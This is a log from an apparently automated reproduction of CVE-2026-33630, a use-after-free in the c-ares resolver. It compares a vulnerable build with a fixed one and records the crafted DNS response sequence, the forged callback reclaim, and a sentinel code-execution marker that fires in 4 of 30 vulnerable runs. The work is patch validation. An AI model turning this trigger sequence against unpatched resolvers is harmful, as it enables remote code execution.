[repro] wrote runtime_manifest.json
[repro] ROOT=/data/pruva/runs/632d040c-983d-409b-aa50-83e9e54bd367/bundle
[repro] CVE-2026-33630 RCE primitive construction
[repro] project_cache_dir=/data/pruva/project-cache/9df4008f-3939-41d4-a08c-7804dd0a4a95 prepared=true
[repro] vulnerable repo path=/data/pruva/project-cache/9df4008f-3939-41d4-a08c-7804dd0a4a95/repo
[repro] fixed repo path=/data/pruva/project-cache/9df4008f-3939-41d4-a08c-7804dd0a4a95/repo-fixed
[repro] vulnerable checkout v1.34.6 -> 3ac47ee46edd8ea40370222f91613fc16c434853
[repro] fixed checkout v1.34.7 -> d63b7de3a3568d14ab1351374b205365aed51cca
[repro] vulnerable ares_flush_requeue count: 0
[repro] fixed ares_flush_requeue count: 5
[repro] reusing matching build at /data/pruva/project-cache/9df4008f-3939-41d4-a08c-7804dd0a4a95/repo/build-prod
[repro] reusing matching build at /data/pruva/project-cache/9df4008f-3939-41d4-a08c-7804dd0a4a95/repo-fixed/build-prod
[repro] compiling /data/pruva/runs/632d040c-983d-409b-aa50-83e9e54bd367/bundle/repro/rce_reclaim_vuln
/data/pruva/runs/632d040c-983d-409b-aa50-83e9e54bd367/bundle/repro/rce_reclaim_harness.c: In function 'process_loop':
/data/pruva/runs/632d040c-983d-409b-aa50-83e9e54bd367/bundle/repro/rce_reclaim_harness.c:209:5: warning: 'ares_getsock' is deprecated: Use ARES_OPT_EVENT_THREAD or ARES_OPT_SOCK_STATE_CB instead [-Wdeprecated-declarations]
  209 |     int bitmask = ares_getsock(channel, socks, ARES_GETSOCK_MAXNUM);
      |     ^~~
In file included from /data/pruva/runs/632d040c-983d-409b-aa50-83e9e54bd367/bundle/repro/rce_reclaim_harness.c:2:
/data/pruva/project-cache/9df4008f-3939-41d4-a08c-7804dd0a4a95/repo/include/ares.h:903:31: note: declared here
  903 |   ARES_OPT_SOCK_STATE_CB) int ares_getsock(const ares_channel_t *channel,
      |                               ^~~~~~~~~~~~
[repro] compiling /data/pruva/runs/632d040c-983d-409b-aa50-83e9e54bd367/bundle/repro/rce_reclaim_fixed
/data/pruva/runs/632d040c-983d-409b-aa50-83e9e54bd367/bundle/repro/rce_reclaim_harness.c: In function 'process_loop':
/data/pruva/runs/632d040c-983d-409b-aa50-83e9e54bd367/bundle/repro/rce_reclaim_harness.c:209:5: warning: 'ares_getsock' is deprecated: Use ARES_OPT_EVENT_THREAD or ARES_OPT_SOCK_STATE_CB instead [-Wdeprecated-declarations]
  209 |     int bitmask = ares_getsock(channel, socks, ARES_GETSOCK_MAXNUM);
      |     ^~~
In file included from /data/pruva/runs/632d040c-983d-409b-aa50-83e9e54bd367/bundle/repro/rce_reclaim_harness.c:2:
/data/pruva/project-cache/9df4008f-3939-41d4-a08c-7804dd0a4a95/repo-fixed/include/ares.h:903:31: note: declared here
  903 |   ARES_OPT_SOCK_STATE_CB) int ares_getsock(const ares_channel_t *channel,
      |                               ^~~~~~~~~~~~
[repro] === vulnerable non-sanitized RCE reclaim attempts x30 ===
[repro] vulnerable attempt 1 exit=42
[server] accepted TCP DNS connection on 127.0.0.1:40863
[server] sending FORMERR without OPT for qid=22298
[server] sending second response with duplicate qid=22298 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=22298 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x5588b747d020 callback@24=0x55888b4cbcf9 arg@32=0x7ffeddcb4bc8 ai@112=0x5588b7490e30 remaining@128=1
[RCE] *** SENTINEL EXECUTION MARKER FIRED *** arg=0x7ffeddcb4bc8 status=11 timeouts=0 callback=0x55888b4cbcf9
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=1 rce_marker_fired=1
[repro] vulnerable attempt 2 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:36047
[server] sending FORMERR without OPT for qid=52333
[server] sending second response with duplicate qid=52333 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=52333 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55ee57193020 callback@24=0x55ee2da29cf9 arg@32=0x7fff8cfe54e8 ai@112=0x55ee571a7620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 3 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:33875
[server] sending FORMERR without OPT for qid=50915
[server] sending second response with duplicate qid=50915 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=50915 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x560f6426d040 callback@24=0x560f5b4fccf9 arg@32=0x7ffcdedfd7f8 ai@112=0x560f64281640 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 4 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:41355
[server] sending FORMERR without OPT for qid=30214
[server] sending second response with duplicate qid=30214 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=30214 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x5636963f8040 callback@24=0x563679a2ccf9 arg@32=0x7ffccbfa64c8 ai@112=0x56369640c660 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 5 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:37919
[server] sending FORMERR without OPT for qid=59246
[server] sending second response with duplicate qid=59246 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=59246 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x5571a624d020 callback@24=0x557196b18cf9 arg@32=0x7ffd348ba378 ai@112=0x5571a6251630 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 6 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:43153
[server] sending FORMERR without OPT for qid=8873
[server] sending second response with duplicate qid=8873 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=8873 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x56220e8ea020 callback@24=0x562209d4fcf9 arg@32=0x7ffef66831f8 ai@112=0x56220e8fe620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 7 exit=42
[server] accepted TCP DNS connection on 127.0.0.1:35253
[server] sending FORMERR without OPT for qid=41891
[server] sending second response with duplicate qid=41891 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=41891 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55cc6f349020 callback@24=0x55cc34230cf9 arg@32=0x7fff0fa4a9e8 ai@112=0x55cc6f34ce20 remaining@128=1
[RCE] *** SENTINEL EXECUTION MARKER FIRED *** arg=0x7fff0fa4a9e8 status=11 timeouts=0 callback=0x55cc34230cf9
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=1 rce_marker_fired=1
[repro] vulnerable attempt 8 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:33417
[server] sending FORMERR without OPT for qid=32915
[server] sending second response with duplicate qid=32915 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=32915 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55b0a7968020 callback@24=0x55b072237cf9 arg@32=0x7ffcf1eeca18 ai@112=0x55b0a797c620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 9 exit=42
[server] accepted TCP DNS connection on 127.0.0.1:40761
[server] sending FORMERR without OPT for qid=21098
[server] sending second response with duplicate qid=21098 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=21098 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x562214516020 callback@24=0x5621dae79cf9 arg@32=0x7ffcc3132ce8 ai@112=0x562214519e20 remaining@128=1
[RCE] *** SENTINEL EXECUTION MARKER FIRED *** arg=0x7ffcc3132ce8 status=11 timeouts=0 callback=0x5621dae79cf9
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=1 rce_marker_fired=1
[repro] vulnerable attempt 10 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:33879
[server] sending FORMERR without OPT for qid=39236
[server] sending second response with duplicate qid=39236 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=39236 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55a1b175c020 callback@24=0x55a1a4a3dcf9 arg@32=0x7ffdd4a53188 ai@112=0x55a1b1770620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 11 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:36209
[server] sending FORMERR without OPT for qid=53363
[server] sending second response with duplicate qid=53363 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=53363 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x559da723a020 callback@24=0x559d76c13cf9 arg@32=0x7ffc4940b608 ai@112=0x559da724e5f0 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 12 exit=42
[server] accepted TCP DNS connection on 127.0.0.1:37731
[server] sending FORMERR without OPT for qid=13951
[server] sending second response with duplicate qid=13951 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=13951 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55e2c59ff020 callback@24=0x55e2b9ce1cf9 arg@32=0x7ffe511a6048 ai@112=0x55e2c5a02e20 remaining@128=1
[RCE] *** SENTINEL EXECUTION MARKER FIRED *** arg=0x7ffe511a6048 status=11 timeouts=0 callback=0x55e2b9ce1cf9
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=1 rce_marker_fired=1
[repro] vulnerable attempt 13 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:46529
[server] sending FORMERR without OPT for qid=41005
[server] sending second response with duplicate qid=41005 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=41005 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x5640211eb020 callback@24=0x563ff975bcf9 arg@32=0x7ffc238694f8 ai@112=0x5640211ff620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 14 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:34533
[server] sending FORMERR without OPT for qid=52762
[server] sending second response with duplicate qid=52762 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=52762 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55c26dc7d020 callback@24=0x55c266e5fcf9 arg@32=0x7ffcdfeee808 ai@112=0x55c26dc91620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 15 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:46125
[server] sending FORMERR without OPT for qid=42820
[server] sending second response with duplicate qid=42820 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=42820 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x560034d98040 callback@24=0x56001031ccf9 arg@32=0x7ffe86dd5588 ai@112=0x560034dac640 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 16 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:36303
[server] sending FORMERR without OPT for qid=60379
[server] sending second response with duplicate qid=60379 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=60379 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55f98e3c2020 callback@24=0x55f9749cdcf9 arg@32=0x7ffe964c2998 ai@112=0x55f98e3d6620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 17 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:46771
[server] sending FORMERR without OPT for qid=23355
[server] sending second response with duplicate qid=23355 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=23355 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x5612f3e2d020 callback@24=0x5612bc414cf9 arg@32=0x7fff3f31f6e8 ai@112=0x5612f3e41620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 18 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:45795
[server] sending FORMERR without OPT for qid=4474
[server] sending second response with duplicate qid=4474 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=4474 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x561baccca020 callback@24=0x561ba44d8cf9 arg@32=0x7fffccf0f638 ai@112=0x561baccde620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 19 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:34941
[server] sending FORMERR without OPT for qid=28989
[server] sending second response with duplicate qid=28989 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=28989 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55fbbfab9040 callback@24=0x55fba0af8cf9 arg@32=0x7ffee090bcf8 ai@112=0x55fbbfacd640 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 20 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:36757
[server] sending FORMERR without OPT for qid=37561
[server] sending second response with duplicate qid=37561 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=37561 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x562619893020 callback@24=0x56260a67ecf9 arg@32=0x7ffd74dac248 ai@112=0x5626198a7620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 21 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:43609
[server] sending FORMERR without OPT for qid=21248
[server] sending second response with duplicate qid=21248 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=21248 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55fe768ad040 callback@24=0x55fe39727cf9 arg@32=0x7fff98558448 ai@112=0x55fe768c1640 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 22 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:33717
[server] sending FORMERR without OPT for qid=37044
[server] sending second response with duplicate qid=37044 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=37044 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x5568ef681040 callback@24=0x5568bd0d9cf9 arg@32=0x7ffc9efa58d8 ai@112=0x5568ef695660 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 23 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:35743
[server] sending FORMERR without OPT for qid=20938
[server] sending second response with duplicate qid=20938 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=20938 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x563b467c3020 callback@24=0x563b2f0b6cf9 arg@32=0x7ffcfa376158 ai@112=0x563b467c7610 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 24 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:34793
[server] sending FORMERR without OPT for qid=37540
[server] sending second response with duplicate qid=37540 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=37540 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55ddff705020 callback@24=0x55ddcd11ccf9 arg@32=0x7ffeb7e320a8 ai@112=0x55ddff719620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 25 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:40633
[server] sending FORMERR without OPT for qid=41001
[server] sending second response with duplicate qid=41001 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=41001 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55d84751b020 callback@24=0x55d83c918cf9 arg@32=0x7ffc909dc9a8 ai@112=0x55d84752f640 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 26 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:34457
[server] sending FORMERR without OPT for qid=51985
[server] sending second response with duplicate qid=51985 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=51985 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x5577d22fb020 callback@24=0x5577c8c4ccf9 arg@32=0x7fff49b31258 ai@112=0x5577d22ff630 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 27 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:38575
[server] sending FORMERR without OPT for qid=62826
[server] sending second response with duplicate qid=62826 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=62826 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x5610bc1ed020 callback@24=0x5610923a0cf9 arg@32=0x7ffcae740ef8 ai@112=0x5610bc201620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 28 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:44057
[server] sending FORMERR without OPT for qid=64455
[server] sending second response with duplicate qid=64455 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=64455 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x564c14b09020 callback@24=0x564c12ca3cf9 arg@32=0x7ffc83784c68 ai@112=0x564c14b1d620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 29 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:43831
[server] sending FORMERR without OPT for qid=64932
[server] sending second response with duplicate qid=64932 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=64932 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x5586f317c020 callback@24=0x5586ebcdccf9 arg@32=0x7ffcc87931b8 ai@112=0x5586f3180610 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] vulnerable attempt 30 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:44657
[server] sending FORMERR without OPT for qid=52272
[server] sending second response with duplicate qid=52272 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=52272 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x5625026a9020 callback@24=0x5624fa4c8cf9 arg@32=0x7ffe1733b3d8 ai@112=0x5625026bd640 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] === fixed non-sanitized negative-control attempts x10 ===
[repro] fixed attempt 1 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:42041
[server] sending FORMERR without OPT for qid=24413
[server] sending second response with duplicate qid=24413 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=24413 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55d50d23f020 callback@24=0x55d4d3286cb9 arg@32=0x7fff28da4f38 ai@112=0x55d50d2536f0 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] fixed attempt 2 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:33633
[server] sending FORMERR without OPT for qid=42974
[server] sending second response with duplicate qid=42974 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=42974 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x56238936a020 callback@24=0x5623872b7cb9 arg@32=0x7ffd060823f8 ai@112=0x56238936e6e0 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] fixed attempt 3 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:41753
[server] sending FORMERR without OPT for qid=56457
[server] sending second response with duplicate qid=56457 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=56457 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55ae96817020 callback@24=0x55ae6efaacb9 arg@32=0x7ffe72225908 ai@112=0x55ae9681b6e0 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] fixed attempt 4 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:36489
[server] sending FORMERR without OPT for qid=65058
[server] sending second response with duplicate qid=65058 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=65058 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x5651bb3f0020 callback@24=0x56519e4c2cb9 arg@32=0x7ffeeb82dce8 ai@112=0x5651bb404710 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] fixed attempt 5 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:44011
[server] sending FORMERR without OPT for qid=1135
[server] sending second response with duplicate qid=1135 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=1135 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x5612c807f040 callback@24=0x5612b9b99cb9 arg@32=0x7fff77e6f138 ai@112=0x5612c8093730 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] fixed attempt 6 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:43809
[server] sending FORMERR without OPT for qid=23405
[server] sending second response with duplicate qid=23405 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=23405 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55db8bc3e020 callback@24=0x55db59b60cb9 arg@32=0x7ffd16c07288 ai@112=0x55db8bc52620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] fixed attempt 7 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:37537
[server] sending FORMERR without OPT for qid=48286
[server] sending second response with duplicate qid=48286 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=48286 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x563b19837020 callback@24=0x563b12ce1cb9 arg@32=0x7ffe3afdf2c8 ai@112=0x563b1984b710 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] fixed attempt 8 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:37091
[server] sending FORMERR without OPT for qid=14561
[server] sending second response with duplicate qid=14561 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=14561 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x56222771b020 callback@24=0x56220aea0cb9 arg@32=0x7ffc27d532a8 ai@112=0x56222772f710 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] fixed attempt 9 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:44249
[server] sending FORMERR without OPT for qid=49181
[server] sending second response with duplicate qid=49181 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=49181 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x5596ffdfe020 callback@24=0x5596e8da1cb9 arg@32=0x7ffe93849f28 ai@112=0x5596ffe12620 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] fixed attempt 10 exit=0
[server] accepted TCP DNS connection on 127.0.0.1:33799
[server] sending FORMERR without OPT for qid=30486
[server] sending second response with duplicate qid=30486 (NXDOMAIN, no OPT)
[server] observed follow-on search-domain query qid=30486 qtype=1 length=33
[server] resetting TCP connection with SO_LINGER zero
[allocator] FORGED_RECLAIM host_query ptr=0x55c2511a8040 callback@24=0x55c24acb2cb9 arg@32=0x7fff5aa1d828 ai@112=0x55c2511bc710 remaining@128=1
[result] done=1 status=11 accepted=1 follow_on_seen=1 normal_callbacks=1 forged_host_query=1 forged_callback_consumed=0 rce_marker_fired=0
[repro] counts: vuln_boundary_count=30 fixed_boundary_count=10 vuln_forge_count=30 rce_marker_count=4 fixed_marker_count=0
[repro] wrote runtime_manifest.json
[repro] wrote validation_verdict.json: claim_outcome=confirmed observed_impact_class=code_execution
[repro] proof summary: rce_marker_fired=1 rce_marker_count=4 fixed_marker=0 fixed_marker_count=0 vuln_boundary=1 fixed_boundary=1 controlled_reclaim=1 vuln_runs_ok=1 fixed_runs_ok=1
[repro] SUCCESS: vulnerable-only sentinel code execution marker fired through reclaimed host_query over real TCP DNS path
[repro] wrote runtime_manifest.json
[repro] wrote validation_verdict.json: claim_outcome=confirmed observed_impact_class=code_execution
[repro] FINAL: rce_marker_fired=1 rce_marker_count=4 fixed_marker=0 fixed_marker_count=0 vuln_boundary=1 fixed_boundary=1 controlled_reclaim=1 vuln_runs_ok=1 fixed_runs_ok=1